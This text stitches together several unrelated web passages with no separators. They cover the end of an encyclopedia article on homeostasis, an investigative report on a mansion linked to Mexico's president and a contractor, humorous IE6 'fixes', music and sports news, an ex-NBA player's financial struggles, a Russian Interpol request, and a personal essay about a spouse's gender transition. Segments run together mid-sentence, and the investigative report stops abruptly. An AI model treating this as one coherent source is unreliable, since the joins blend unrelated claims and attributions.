When the hypothalamus detects a hypertonic extracellular environment, it causes the secretion of an antidiuretic hormone (ADH) called vasopressin which acts on the effector organ, which in this case is the kidney. The effect of vasopressin on the kidney tubules is to reabsorb water from the distal convoluted tubules and collecting ducts, thus preventing aggravation of the water loss via the urine. The hypothalamus simultaneously stimulates the nearby thirst center causing an almost irresistible (if the hypertonicity is severe enough) urge to drink water. The cessation of urine flow prevents the hypovolemia and hypertonicity from getting worse; the drinking of water corrects the defect.
Hypo-osmolality results in very low plasma ADH levels. This results in the inhibition of water reabsorption from the kidney tubules, causing high volumes of very dilute urine to be excreted, thus getting rid of the excess water in the body.
Urinary water loss, when the body water homeostat is intact, is a compensatory water loss, correcting any water excess in the body. However, since the kidneys cannot generate water, the thirst reflex is the all-important second effector mechanism of the body water homeostat, correcting any water deficit in the body.
Blood pH [ edit ]
The plasma pH can be altered by respiratory changes in the partial pressure of carbon dioxide; or altered by metabolic changes in the carbonic acid to bicarbonate ion ratio. The bicarbonate buffer system regulates the ratio of carbonic acid to bicarbonate to be equal to 1:20, at which ratio the blood pH is 7.4 (as explained in the Henderson–Hasselbalch equation). A change in the plasma pH gives an acid–base imbalance. In acid–base homeostasis there are two mechanisms that can help regulate the pH. Respiratory compensation a mechanism of the respiratory center, adjusts the partial pressure of carbon dioxide by changing the rate and depth of breathing, to bring the pH back to normal. The partial pressure of carbon dioxide also determines the concentration of carbonic acid, and the bicarbonate buffer system can also come into play. Renal compensation can help the bicarbonate buffer system. The sensor for the plasma bicarbonate concentration is not known for certain. It is very probable that the renal tubular cells of the distal convoluted tubules are themselves sensitive to the pH of the plasma.[citation needed] The metabolism of these cells produces carbon dioxide, which is rapidly converted to hydrogen and bicarbonate through the action of carbonic anhydrase.[58] When the ECF pH falls (becoming more acidic) the renal tubular cells excrete hydrogen ions into the tubular fluid to leave the body via urine. Bicarbonate ions are simultaneously secreted into the blood that decreases the carbonic acid, and consequently raises the plasma pH.[58] The converse happens when the plasma pH rises above normal: bicarbonate ions are excreted into the urine, and hydrogen ions released into the plasma.
When hydrogen ions are excreted into the urine, and bicarbonate into the blood, the latter combines with the excess hydrogen ions in the plasma that stimulated the kidneys to perform this operation. The resulting reaction in the plasma is the formation of carbonic acid which is in equilibrium with the plasma partial pressure of carbon dioxide. This is tightly regulated to ensure that there is no excessive build-up of carbonic acid or bicarbonate. The overall effect is therefore that hydrogen ions are lost in the urine when the pH of the plasma falls. The concomitant rise in the plasma bicarbonate mops up the increased hydrogen ions (caused by the fall in plasma pH) and the resulting excess carbonic acid is disposed of in the lungs as carbon dioxide. This restores the normal ratio between bicarbonate and the partial pressure of carbon dioxide and therefore the plasma pH. The converse happens when a high plasma pH stimulates the kidneys to secrete hydrogen ions into the blood and to excrete bicarbonate into the urine. The hydrogen ions combine with the excess bicarbonate ions in the plasma, once again forming an excess of carbonic acid which can be exhaled, as carbon dioxide, in the lungs, keeping the plasma bicarbonate ion concentration, the partial pressure of carbon dioxide and, therefore, the plasma pH, constant.
Cerebrospinal fluid [ edit ]
Cerebrospinal fluid (CSF) allows for regulation of the distribution of substances between cells of the brain,[59] and neuroendocrine factors, to which slight changes can cause problems or damage to the nervous system. For example, high glycine concentration disrupts temperature and blood pressure control, and high CSF pH causes dizziness and syncope.[60]
Neurotransmission [ edit ]
Inhibitory neurons in the central nervous system play a homeostatic role in the balance of neuronal activity between excitation and inhibition. Inhibitory neurons using GABA, make compensating changes in the neuronal networks preventing runaway levels of excitation.[61] An imbalance between excitation and inhibition is seen to be implicated in a number of neuropsychiatric disorders.[62]
Neuroendocrine system [ edit ]
The neuroendocrine system is the mechanism by which the hypothalamus maintains homeostasis, regulating metabolism, reproduction, eating and drinking behaviour, energy utilization, osmolarity and blood pressure.
The regulation of metabolism, is carried out by hypothalamic interconnections to other glands.[63] Three endocrine glands of the hypothalamic–pituitary–gonadal axis (HPG axis) often work together and have important regulatory functions. Two other regulatory endocrine axes are the hypothalamic–pituitary–adrenal axis (HPA axis) and the hypothalamic–pituitary–thyroid axis (HPT axis).
The liver also has many regulatory functions of the metabolism. An important function is the production and control of bile acids. Too much bile acid can be toxic to cells and its synthesis can be inhibited by activation of FXR a nuclear receptor.[3]
Gene regulation [ edit ]
At the cellular level, homeostasis is carried out by several mechanisms including transcriptional regulation that can alter the activity of genes in response to changes.
Energy balance [ edit ]
The amount of energy taken in through nutrition needs to match the amount of energy used. To achieve energy homeostasis appetite is regulated by two hormones, grehlin and leptin. Grehlin stimulates hunger and the intake of food and leptin acts to signal satiety (fullness).
Clinical significance [ edit ]
Many diseases are the result of a homeostatic failure. Almost any homeostatic component can malfunction either as a result of an inherited defect, an inborn error of metabolism, or an acquired disease. Some homeostatic mechanisms have inbuilt redundancies, which ensures that life is not immediately threatened if a component malfunctions; but sometimes a homeostatic malfunction can result in serious disease, which can be fatal if not treated. A well-known example of a homeostatic failure is shown in type 1 diabetes mellitus. Here blood sugar regulation is unable to function because the beta cells of the pancreatic islets are destroyed and cannot produce the necessary insulin. The blood sugar rises in a condition known as hyperglycemia.
The plasma ionized calcium homeostat can be disrupted by the constant, unchanging, over-production of parathyroid hormone by a parathyroid adenoma resulting in the typically features of hyperparathyroidism, namely high plasma ionized Ca2+ levels and the resorption of bone, which can lead to spontaneous fractures. The abnormally high plasma ionized calcium concentrations cause conformational changes in many cell-surface proteins (especially ion channels and hormone or neurotransmitter receptors)[64] giving rise to lethargy, muscle weakness, anorexia, constipation and labile emotions.[65]
The body water homeostat can be compromised by the inability to secrete ADH in response to even the normal daily water losses via the exhaled air, the feces, and insensible sweating. On receiving a zero blood ADH signal, the kidneys produce huge unchanging volumes of very dilute urine, causing dehydration and death if not treated.
As organisms age, the efficiency of their control systems becomes reduced. The inefficiencies gradually result in an unstable internal environment that increases the risk of illness, and leads to the physical changes associated with aging.[4]
Various chronic diseases are kept under control by homeostatic compensation, which masks a problem by compensating for it (making up for it) in another way. However, the compensating mechanisms eventually wear out or are disrupted by a new complicating factor (such as the advent of a concurrent acute viral infection), which sends the body reeling through a new cascade of events. Such decompensation unmasks the underlying disease, worsening its symptoms. Common examples include decompensated heart failure, kidney failure, and liver failure.
Biosphere [ edit ]
In the Gaia hypothesis, James Lovelock[66] stated that the entire mass of living matter on Earth (or any planet with life) functions as a vast homeostatic superorganism that actively modifies its planetary environment to produce the environmental conditions necessary for its own survival. In this view, the entire planet maintains several homeostasis (the primary one being temperature homeostasis). Whether this sort of system is present on Earth is open to debate. However, some relatively simple homeostatic mechanisms are generally accepted. For example, it is sometimes claimed that when atmospheric carbon dioxide levels rise, certain plants may be able to grow better and thus act to remove more carbon dioxide from the atmosphere. However, warming has exacerbated droughts, making water the actual limiting factor on land. When sunlight is plentiful and the atmospheric temperature climbs, it has been claimed that the phytoplankton of the ocean surface waters, acting as global sunshine, and therefore heat sensors, may thrive and produce more dimethyl sulfide (DMS). The DMS molecules act as cloud condensation nuclei, which produce more clouds, and thus increase the atmospheric albedo, and this feeds back to lower the temperature of the atmosphere. However, rising sea temperature has stratified the oceans, separating warm, sunlit waters from cool, nutrient-rich waters. Thus, nutrients have become the limiting factor, and plankton levels have actually fallen over the past 50 years, not risen. As scientists discover more about Earth, vast numbers of positive and negative feedback loops are being discovered, that, together, maintain a metastable condition, sometimes within a very broad range of environmental conditions.
Predictive [ edit ]
Predictive homeostasis is an anticipatory response to an expected challenge in the future, such as the stimulation of insulin secretion by gut hormones which enter the blood in response to a meal.[34] This insulin secretion occurs before the blood sugar level rises, lowering the blood sugar level in anticipation of a large influx into the blood of glucose resulting from the digestion of carbohydrates in the gut.[67] Such anticipatory reactions are open loop systems which are based, essentially, on "guess work", and are not self-correcting.[68] Anticipatory responses always require a closed loop negative feedback system to correct the 'over-shoots' and 'under-shoots' to which the anticipatory systems are prone.
Other fields [ edit ]
The term has come to be used in other fields, for example:
Risk [ edit ]
An actuary may refer to risk homeostasis, where (for example) people who have anti-lock brakes have no better safety record than those without anti-lock brakes, because the former unconsciously compensate for the safer vehicle via less-safe driving habits. Previous to the innovation of anti-lock brakes, certain maneuvers involved minor skids, evoking fear and avoidance: Now the anti-lock system moves the boundary for such feedback, and behavior patterns expand into the no-longer punitive area. It has also been suggested that ecological crises are an instance of risk homeostasis in which a particular behavior continues until proven dangerous or dramatic consequences actually occur.[69]
Stress [ edit ]
Sociologists and psychologists may refer to stress homeostasis, the tendency of a population or an individual to stay at a certain level of stress, often generating artificial stresses if the "natural" level of stress is not enough.[70]
Jean-François Lyotard, a postmodern theorist, has applied this term to societal 'power centers' that he describes in The Postmodern Condition, as being 'governed by a principle of homeostasis,' for example, the scientific hierarchy, which will sometimes ignore a radical new discovery for years because it destabilizes previously accepted norms.
Technology [ edit ]
Familiar technological homeostatic mechanisms include:
See also [ edit ]
References [ edit ]
Further reading [ edit ]
Clausen, M. J.; Poulsen, H. (2013). "Chapter 3 Sodium/Potassium homeostasis, Chapter 5 Calcium homeostasis, Chapter 6 Manganese homeostasis". In Banci, Lucia. Metallomics and the Cell. Metal Ions in Life Sciences. 12. Springer. pp. 41–67. doi:10.1007/978-94-007-5561-1_3. ISBN 978-94-007-5560-4. PMID 23595670. electronic-book ISBN 978-94-007-5561-1 ISSN 1559-0836 electronic- ISSN 1868-0402A federal government contractor built a 7 million dollar mansion for the presidential family. This is the english version of the Aristegui Noticias Special Report.
On November 6th 2014, the Mexican Government canceled, abruptly, the Train Mexico-Queretaro’s construction bidding, awarded to a consortium leaded by the Chinese state enterprise China Railway Construction Corporation, and three mexican firms linked to the Institutional Revolutionary Party (PRI) and the President Enrique Peña Nieto.
“Constructora Teya” was one of these firms, part of “Higa Group”, a company that made millionaire profits in public works with the State of Mexico, when Peña Nieto was the governor.
Higa’s Group president is Juan Armando Hinojosa Cantú, who also rented airplanes to the PRI for the 2012 presidential campaign, through its other subsidiary “Eolo Plus”.
Nonetheless, there is one thing that shows the tight relationship between Peña Nieto and Higa Group… A house in Lomas de Chapultepec, one of the most exclusive neighborhoods in Mexico City. This is the story.
In May 2013, the ¡Hola! magazine readers found an article that was classified as “exceptional and historical”, as the magazine said itself.
In its pages, they could see the photographs of a luxurious and modern mansion in Las Lomas, along with an interview with the actress Angélica Rivera, the president’s wife.
Rivera talked about the love to her husband, their six sons… and the house:
“In our home we have a life as normal as possible, I have told the kids that Los Pinos (official residence) will be lent to us only for six years and that their real house, their home, is this one where we are doing this interview”.
A long-term investigation, run for months by this journalist’s team, with the International Center for Journalists and the Latin American Journalism Platform Connectas support, has confirmed that this house is in 150 Sierra Gorda Street, and is not registered under the name of Enrique Peña Nieto, nor under Angelica Rivera’s name and neither under their sons’.
The mansion, of approximately 7 million dollars, according to an appraisal made especially for this investigation— is registered under the name of “Ingeniería Inmobiliaria del Centro”, one of “Higa’s Group” subsidiaries.
Higa Group through its other subsidiary “Constructora Teya”, is part of the Consortium that won and later on the construction of the Mexico-Queretaro train was revoked.
The investigation also proves that Presidential Guards surveil the house of Sierra Gorda 150, and that Peña Nieto and Rivera were deeply involved in its design so that the residence could fit with their personal needs.
The house has an underground parking, a mezzanine, and an elevator that connects all the levels. The yard has a covered terrace. The first level has marble floor. It has six rooms for their sons, and the main one has a dressing room, bathrooms and a SPA Area.
The house is all white, and has an illumination system to create atmosphere, it can turn into pink, orange or violet.
The pictures of the residence are in the website www.aragones.com.mx, with the title of “Casa La Palma”.
The architectural drawings locate the house in the Sierra Gorda Street and have a date: October 2010, one month before Peña Nieto and Rivera got married.
The interiors on Aragonés website are the same as those where Rivera posed for the ¡Hola! magazine.
In another interview, with the journalist Alberto Tavira, for the show Los despachos del poder, at TV Azteca, the architect Aragonés confirmed that he had designed the Mexican President’s house.
–Its public that you designed the President’s house, Enrique Peña Nieto. Was it a challenge for you?
-It is always a challenge to work for someone with that relevance and capacity, with that intelligence level, isn’t it? It is always hard to try to capture what someone needs specifically. It becomes a challenge, particularly because I’m used to work only for me, I usually don’t have clients.
Aragonés said he enjoyed working for Peña Nieto:
-Mr. Peña Nieto and his wife were difficult clients?
-No, I think they were one of the most kind, respectful people and easy to work with, both of them. Enrique was a first class person, an intelligent, sensitive, respectful, kind guy, it was a pleasure to work for him.
-Did they want you to design special features?
-Of course, I needed to fulfill a program.
This investigation team asked for an interview with Aragonés, but his press agent, Antonino Trinidad, said that the architect has an agreement of confidentiality.
-He has an agreement of confidentiality with his clients, not only in this case but in general. And he does not has that data.
-So, you are talking about the President’s house. Aren’t you?
-Of course.
On November 12th of 2008, Enrique Peña Nieto admitted, during the TV show Shalalá, that he and Angélica Rivera had a relationship.
-Do you want to know if we have a relationship?
-Yes.
-Yes.
And one day later, on November the 13th of 2008, “Ingeniería Inmobiliaria del Centro” were created, the enterprise that built and is the owner of Peña Nieto and Rivera’s house in Lomas de Chapultepec.
These firm belongs to Juan Armando Hinojosa Cantú, “Higa’s Group” president, according to the documents from the Public Registry of the State of Mexico.
The other owner was his son, Juan Armando Hinojosa García, who died in an air crash in july 2012. The helicopter in which he was flying was of his own enterprise, “Eolo Plus”; the same firm the Institutional Revolutionary Party (PRI) had rented airplanes for Peña Nieto’s presidential campaign.
“Higa Group”, with subsidiaries like “Constructora Teya”, won more than 8 billion pesos in contracts with the State of Mexico, when Peña Nieto was governor, according to documents given to this investigation team through the Mexican Transparency Law.
“Ingeniería Inmobiliaria del Centro”, legal owner of Peña Nieto and Angélica Rivera’s house in Lomas de Chapultepec, has its office in 114 José Vicente Villada Street, third floor, center of Toluca, the capital of the State of Mexico.
That address is the same as “Constructora Teya’s” and the one “Eolo Plus” showed in the bills given to the PRI because of the airplanes rental for the presidential campaign of Peña Nieto. In a phone call to its number, the operator answers as “Higa Group”.
These firms also share a legal representative: Arturo Reyes Gómez, who has that title at “Eolo Plus” and “Ingeniería Inmobiliaria del Centro”. These journalists have been looking for an interview with him, but he declined.
Reyes Gómez was the one who bought, in November 2009, the land where the residence was built in Sierra Gorda 150.
Through the Mexican Transparency Law, this investigation team obtained the construction file from local authorities. All of the procedures were filled by Reyes Gómez from “Ingeniería Inmobiliaria del Centro”.
In December 2010, that firm bought the adjacent field, with the number 160. With that procedure, the property reached 15,220 ft2.
For Sierra Gorda’s construction, Mauricio Clemente Buitrón Monroy was hired as Built Responsible Director. The engineer accepted an interview for this investigation:
“”Is the ‘Casa la Palma’ project in Sierra Gorda… people call it like that today. I learned it was the future home of the federal executive, by a neighbor complaint. I said, ‘Wow’. I did not know. When I told Acosta architect, who was my supervisor at the time, he said, “Who told you that?!” Supposedly, for security reasons, no one should know, but many people knew it… “.
In 2012, Buitrón Monroy said he went to Sierra Gorda 150 to fulfill the completion work verification, but he had no access:
“The day we went to fulfill the completion work verification, we could not access because some people told us that Presidential Guards didn’t have an order of authorization for us, and then we understood that we could not get inside.”
“Ingeniería Inmobiliaria del Centro” remains as the legal owner of Sierra Gorda 150, according to documents from the Ownership Public Record of Mexico City, dated on October 29.
When Enrique Peña Nieto started his presidential campaign, in 2012, he published an assets declaration: four houses and other four properties in the State of Mexico, and an apartment in Acapulco. He did not include the Sierra Gorda 150 house.
During his campaign, Peña Nieto, his closest collaborators and his family flew on “Eolo Plus”, a Higa Group subsidiary. His political party, the PRI, paid nearly 26 million pesos per flight.
On December 1st of 2012, when he was sworn in as President of Mexico, before Congress, Peña Nieto and his family arrived from a residence in 1325 Paseo de las Palmas Street, in Lomas de Chapultepec, which is owned by Angelica Rivera and is behind Sierra Gorda 150 house.
In January 2013, he published his first Assets Declaration as president: he kept the 9 properties he declared when he was candidate. The same number of goods remained in his 2014 Assets Declaration. He has never mentioned the Sierra Gorda home.
In the phone book, “Ingeniería Inmobiliaria del Centro” appears with three numbers and the address is Sierra Gorda 150. When you make a phone call, someone pick-up the phone in Palmas 1325, Angélica Rivera’s house that is behind.
This Investigation team made a phone call asking for the house of Sierra Gorda, but the woman who picked up -who said her name was Ana- |
about this car if you click here.
And for those who can’t own this particular car you can still own Bill Piggot’s definitive book on the Austin-Healey “Austin-Healey: A celebration of the fabulous ‘Big’ Healey.” if you click here.
Jon Branch is the founder and senior editor of Revivaler and has written a significant number of articles for various publications including official Buying Guides for eBay, classic car articles for Hagerty, magazine articles for both the Australian Shooters Journal and the Australian Shooter, and he’s a long time contributor to Silodrome. Jon has done radio, television, magazine and newspaper interviews on various issues, and has traveled extensively, having lived in Britain, Australia, China and Hong Kong. His travels have taken him to Indonesia, Israel, Italy, Japan and a number of other countries. He has studied the Japanese sword arts and has a long history of involvement in the shooting sports, which has included authoring submissions to government on various firearms related issues and assisting in the design and establishment of shooting ranges.When confronted to irrational situations, we naturally tend to get lost and lean toward irrational solutions. Debugging Internet Explorer often makes you feel lost, thus pushing you to explore unknown CSS techniques and beyond. I am sharing these techniques with you, but please only use them if you are desperate as they only work once every 10 years.
A great (and true) comic by HijiNKS Ensue
If you can’t fix the problem, take the way around: upgrading your client’s browser
Your client doesn’t know what browser he is using, chances are that he doesn’t even know what a browser is. Hey, we all are just using the internets right? So next time they hit that big blue button, they will just notice that the problem on their site is fixed, nothing else. And trust me, they won’t ask you to test it for cross-browser compatibility.
Puppies can be the best IE6 CSS hacks
Pray the CSS gods, use puppy sacrifices
Vinh Le of Blog Design Blog once advised me to pray the CSS gods to fix some IE6 issues. Of course the right breed of dog has to be used, otherwise your sacrifices may reveal useless. Known issues: chihuahua sacrifices seems to have a compatibility problem with IE6, they don’t work anymore.
Internet Explorer Voodoo doll
Eliminate the problem with the Internet Explorer Voodoo doll
Since Internet Explorer seems to be magically sticking in people’s computers, voodoo might be the only solution left to get rid of it. For those interested by this techniques, there is a tutorial on DeviantArt on how to create your own Internet Explorer Voodoo doll.
Forget about the problem, drink beer, a lot of it
The temporary solution to any problem: alcohol! This will of course not eliminate the problem, but at least you won’t think about it, could you really ask more?Written by Music Feeds on June 28, 2016
Members of Slipknot and Limp Bizkit are joining forces for a new musical project.
Unfortunately (for those of you hanging out for a CT/Durst collab), those members are Sid Wilson (AKA DJ Starscream) and DJ Lethal.
The turntablists are teaming up to form a new superstar DJ duo appropriately dubbed “Lethal Wilson”.
Not many details are known about the act, but judging by their official Facebook page, they should be hitting us with some new tunes very soon.
And since both disc jockeys earned their stripes manning the decks for two of the biggest acts to spawn from the 90’s nu-metal movement (which regardless of what you say was a fkn golden age of heavy music, cornrows, parachute pants and all), we can only assume they’re gonna be blastin’ out the hot shit, that rock shit, puttin’ bounce in the mosh pit.
Lethal last toured Australia with the Bizkit back in 2013 for Soundwave, just before exiting the band.
Meanwhile, you can catch Wilson AKA #0 in Slipknot tearing shit up with heavy metal’s masked maggot wranglers when they tour Down Under this October.The Texas A&M Aggies came up with a pretty decent slogan a number of years ago, wherein they refer to their fanbase as "The 12th Man." Whenever they've caught wind of another team using their slogan, they tend to get upset about it. And by "upset," I mean "a bunch of lawyers with copyright infringement lawsuits that they fire at the offenders like it's a T-shirt gun." But the latest offenders in the lawsuit may be the most egregious of all.
Dan Steinberg of the Washington post wrote an article on Wednesday about MLS team D.C. United hanging a sign using the slogan in their stadium. Steinberg suggested A&M and their fans might be upset about this. He was right! Steinberg was deluged with angry emails and comments from A&M fans and decided to share some of them. The common thread: A&M is great and everything else is terrible and shut up, you communist.
A&M fans suggested that Steinberg was a communist who is ruining America:
You must be a communist since you obviously don’t believe in property rights. Texas A&M University owns the trademark 12th Man/Home of the 12th Man. It is the property of the university. As it stands right now, Americans are still allowed to own personal property....You sir are the perfect example of the ignorance of today’s main stream media. If allowed to continue on its current path, your industry will be the downfall of the greatest nation the world has ever seen.
Or that his editors had made a grave mistake:
Why would a DC based newspaper even have a sports section. Stick to promoting liberal policies.
But here's the real money quote, from "Joe":
20,000 attendance doesnt make a 12th man. Its not even a thing you can throw around but it started at Texas A&M because of actual fan support for a team that plays a real game and not prancing around like a bunch of grass fairies playing a euro nancy sport....You wouldnt know real fan passion if it walked up and slapped you in your fat face. Few if any professional sports fanbases do.
Yes, few -- if any! -- professional sports fanbases know what real fan passion is. Only Texas A&M. Certainly not a bunch of grass fairies. Especially grass fairies that play a euro nancy sport. Perhaps this is merely a subversive way of unveiling the new United slogan. Honestly, which sounds more like a team you'd like to see: "I am the 12th man," or "A bunch of grass fairies playing a euro nancy sport"? I'll take two tickets to see the nancies, please. That sounds like way more fun.
For all news and information regarding the Texas A&M Aggies, please visit SB Nation Houston. For updates and perspective about the 11 MEN ONLY D.C. United, check out Black and Red United.Former Indiana Pacers center David Harrison, a little more than a decade removed from being a first-round pick in the NBA draft, has struggled to make a consistent living since his basketball career ended – to the point he said he took a job working at McDonald's two years ago.
"I was embarrassed because of where I could be in life," Harrison told Yahoo Sports. "Everybody has to work and make a living somehow. I have two children. They don't care where I work. They just need to eat.
"People were showing up trying to take my car. My house was in foreclosure. I didn't have any income. I just had everything going out. I have child support to one son. I have a really big family and I have to take care of them, even through I'm not playing in the NBA. I needed money."
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Harrison made $4.4 million before taxes during four seasons with Indiana and also played in China professionally for three seasons. He said almost all of that money is gone. Now 32 and without a college degree, Harrison said he's having a hard time finding a job.
"An NBA career is a fragile thing," said Dallas Mavericks coach Rick Carlisle, who coached Harrison with the Pacers. "It tips on the slimmest of margins one way or the other. There are a lot of guys who get a taste of it. David had some pretty good years for us when I was there."
Harrison played four seasons for the Pacers. (Getty Images)
Harrison played in the McDonald's All-America Game in 2001 after being a two-time Mr. Basketball in Tennessee. The 2004 All-Big 12 first-team pick was a starter in three seasons at Colorado and averaged 17 points and 8.8 rebounds as a junior during the 2003-04 season. The Pacers drafted him with the 29th overall selection in the first round of the 2004 NBA draft.
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"I never felt more helpless than when I was guarding him," said ex-Colorado forward Chris Copeland, now with the Pacers. "In college he was unbelievable.
"He was a special athlete. He was very misunderstood. A smart guy. A deep thinker. When you're that intelligent and that deep with your thoughts, sometimes people don't understand where you are coming from."
Harrison was just a rookie when he was part of the "Malice at the Palace" brawl on Nov. 19, 2004, in Auburn Hills, Mich. After a fan threw a drink on Pacers forward Ron Artest, Artest and his teammates fought Detroit fans in the stands. A police report said Harrison punched a 67-year-old fan as he attempted to get to the Pacers' locker room. Harrison was also hit by a chair, kicked and punched.
Harrison vividly recalls Artest, now Metta World Peace, asking teammates in the locker room if he thought the fight was a big deal.
"Ron says, 'Hey, my bad guys. I'm sorry. I didn't know I had so many real [expletives] on this team,' " Harrison said. "Then he says out loud, 'Hey, do you think we are going to get fined?' Anthony [Johnson] says, '[Expletive] a fine, Ron. They are going to suspend us.'
"Then Ron was literally like my 6-year-old son and [said], 'Oh man, you think they're going to suspend us? I don't want to be suspended.' And everyone starts laughing."
Harrison also couldn't forget the bus ride leaving Auburn Hills.
"We are on the bus and they told us to lay on the ground because there were reports of people showing up to the stadium armed with guns," Harrison said.
Harrison received one year of probation, 60 hours of community service, a $250 fine and anger management counseling for his role in the fight, but was not suspended by the NBA. He said he paid about $85,000 in lawyer and lawsuit fees.
"We were trying to protect ourselves," Harrison said. "But that's not what the courts ruled."
Harrison and Carlisle bonded during their time with the Pacers.
"I loved coaching David Harrison," Carlisle said. "He's a terrific competitor. He's a complex kid, but he's open to communication and he's extremely intelligent."
After the Pacers fired Carlisle following the 2006-07 season, Harrison spent his last season in the NBA was under coach Jim O'Brien.
"When I got the job I was told not to expect very much from him, that he had a tough past and was not a guy you can depend on when you started your tenure with a team," O'Brien said.
Harrison received one year of probation for his role in the 2004 brawl in Detroit. (AP)
Harrison says he was troubled by O'Brien's sharp – and frequent – criticism of him.
"The worst time of my life was when Jim O'Brien was running the team," Harrison said. "I asked to be traded or sent to the D-League, but it never happened. I can't point the finger directly at him, but he did not want me to succeed.
"It wasn't in his game plan for me to succeed. Being around him was probably the worst time I've had in my life."
Harrison said he smoked marijuana in the offseason during his first three seasons, but not during the season. Frustrated with his role under O'Brien and his lack of playing time, Harrison said he smoked weed daily – including before and after practices – during the 2007-08 season. He was suspended five games that season for violating the league's anti-drug policy because of his marijuana use.
"It wasn't healthy," Harrison said. "I literally had to smoke pot every day so I would not hurt him. I would avoid him. I'd come in early and stay late. It wasn't like he hit me; he verbally abused me. But what coach doesn't?"
O'Brien strongly disagreed with Harrison's characterization that he was abusive.
"Let's just say he had a lot bottled up inside of him before we ever crossed paths," O'Brien said. "He was as good of an athlete as you were going to find at center, but he just could not get the job done. There was no way of beating around the bush.
"I sat with him a lot. [Pacers president] Larry Bird sat with him a lot to see if there was anything to get him to utilize his talents. He just was not a very functional NBA player."
Harrison became a free agent following the 2007-08 season and never played in the NBA again. He averaged 5.0 points and 2.9 rebounds over four seasons with Indiana. He played professionally in China the next three seasons and played eight games for the D-League Reno Bighorns during the 2011-12 season. He last played for the Dallas Mavericks' summer league team in 2012. Harrison hasn't received any calls from NBA teams over the past three seasons. Nor have there been any overseas offers.
"I want to play, but I don't believe there is a door open for me to go through or even open," Harrison said.
Looking back, Harrison believes a lack of maturity – and too much pride – eventually ruined his NBA career.
"Pride, that's where I messed up the most, Harrison said. "I had too much self pride in my ability. I was just stubborn. The whole weed thing was a war. It was something that occupied my mind. It was me versus the drug program. It was something I could compete in again. At the end of the day, I was 24 years old when it all happened.
"Looking back as a 32-year-old, I wouldn't have done some of the things I did at 24. At the same time, I did it. I'm not apologetic, but I'm sorry."
Harrison is still living in the Indianapolis area with his girlfriend and their infant son. He is still fighting to keep his home and says he makes some income trading stocks. He's also hoping to find an investor for his mobile game application company, Kage Media Group LLC.
Harrison said he is 16 credit hours from a college degree at Colorado, but can't afford to go back to school to finish. He has had a preliminary conversation with Colorado's men's basketball program about a graduate assistant opportunity, but nothing is brewing.
When asked how he's making ends meet now, Harrison said: "I trade stocks. I invested in a few smaller companies that I've been able to liquidate out of. I've literally burned through about 95 percent of my savings. I applied for a job at Edward Jones. That didn't work out."
Harrison was at an Indianapolis-area McDonald's in August 2013 when his credit card was declined while trying to buy his then 4-year-old son, Dylan, a Happy Meal. The manager recognized him, gave him the meal for free and offered to help him get a job at McDonald's. Harrison said he took him up on the offer and was hired for the night shift at another McDonald's.
Harrison said he had a hard time working because customers would often want to talk after they recognized him – or they were just fascinated by his height. He left after two weeks.
"I wanted to be around people and not be a hermit in the house," Harrison said. "I took the midnight shift on purpose. I did two weeks of training. They told me I would be a distraction because I was. Every time someone would order, it would take them 40 minutes to order because they were asking me too many questions."
Harrison has given up on basketball improving his financial situation, but believes he will eventually figure out the right way to improve his life.
"I am confident in my intelligence," Harrison said. "I am confident in myself and I have the ability to succeed. I don't have much hope to play basketball again. But to support my family and myself, I have a lot of hope in that."
More NBA coverage:Russia has sent a request to the international police agency Interpol for the arrest and extradition of former Ukrainian Prime Minister Arseniy Yatsenyuk, claiming he killed Russian soldiers in Chechnya in the 1990s.
Yatsenyuk was one of the prime figures of the massive protests that drove Ukraine's Russia-friendly president out of the country in 2014. He became prime minister and was in office until last April.
Ukraine's Interior Ministry reported Friday that it had received a copy of the Russian request from Interpol. Interior Minister Arsen Avakov said Yatsenyuk had never been to Chechnya and that "Yatsenyuk's persecution by Russia is politically motivated."
The former head of Russia's Investigative Committee claimed in 2015 that Yatsenyuk had fought alongside separatist rebels in 1994 and 1995, during the first Chechen war.The following is a companion piece by the wife of Emily Crose, who wrote “When I Told My Wife I Was Transgender, Our Whole Marriage Had To Change.”
That day in November, 2014 will be a day I never forget.
I was sitting on the couch watching TV, as on any other evening, when my husband of five years said those dreaded six words: “I need to talk to you.”
I knew exactly what this talk would be about, because four years earlier, we’d had the same conversation—then swept its difficult contents under the proverbial rug. I always knew we’d need to have this talk again, and that the denial could only persist for so long.
My husband needed to tell me about an identity crisis—a gender identity crisis, to be exact. A therapist, I was told, had uncovered and revealed the root of a persistent unhappiness, and a sense of never fitting in: gender dysphoria.
At that moment, my world seemed to stop.
***
When we had first discussed the matter years earlier, we were young and still newly in love. We had only been married a little over a year, and had recently left our home state and moved 650 miles away. So we left it alone. I didn’t want to, nor could I, deal with this.
But the second time it came up, I knew we’d have to address it.
There were so many questions on both of our parts: What did this diagnosis mean? Were we going to live in a gender fluid world where my husband lived part time as a man and part time as a woman? Would there be a full transition? What did a full transition even mean? Could we stay together? What about our 14-month-old son?
And why wasn’t I enough to make this partner I loved live as a man? This was a question I asked myself and my husband over and over.
The first time around, had a gender transition been a real possibility, I know I would have left. I hated our new state, I was working full time so I could be financially independent, we didn’t have children, and we didn’t own a house. Cutting ties and walking away would have been easy. But the second time was different; leaving would mean losing everything we had built together. We owned a house, we had a child, I didn’t work, and I had built a life and a home in our new state. Leaving my marriage would mean moving back home and in with my parents. Our relationship was also different after five years. Leaving would mean losing my best friend, my emotional support system, and my life partner.
And so I read book after book, I learned about being trans, and I looked for other couples that survived something our culture tells us is a death sentence. Many weren’t able to make it through this change, but some did, and I held their stories tight.
I also hoped that we (and yes, when one spouse transitions, the couple transitions, so it was going to be our transition) wouldn’t fully transition. I hoped that cross dressing would be “enough.” I hoped that no one had to know; that it would be “our secret.”
Looking back, I laugh at this idea. While dressing more and more as a woman, my husband still went back and forth between the two worlds, living part-time as a man and part-time as a woman. In the beginning, I thought this situation would be preferable to a full transition, but it was ultimately (of course, I see now) just difficult and confusing. And my husband hated it.
In the end, the answer was clear: My husband was going to live full-time as a woman. My fairy tale was ending; my Prince Charming was gone. I grieved the loss of the life I wanted, of the life I’d planned. My perfect American family with a dog, two kids, a mom, and a dad wasn’t going to come to fruition.
I had to figure out what to do: leave, stay, or live together as friends? One of the hardest things about a breakup for a trans couple is that they usually want to be together but can’t. They don’t hate each other; most often, they are still in love.
I definitely loved my husband. I didn’t want a life without this person I cared so deeply about, or a life with someone else. The only choice I could possibly make was to stay.
But could I be happy living with a woman?
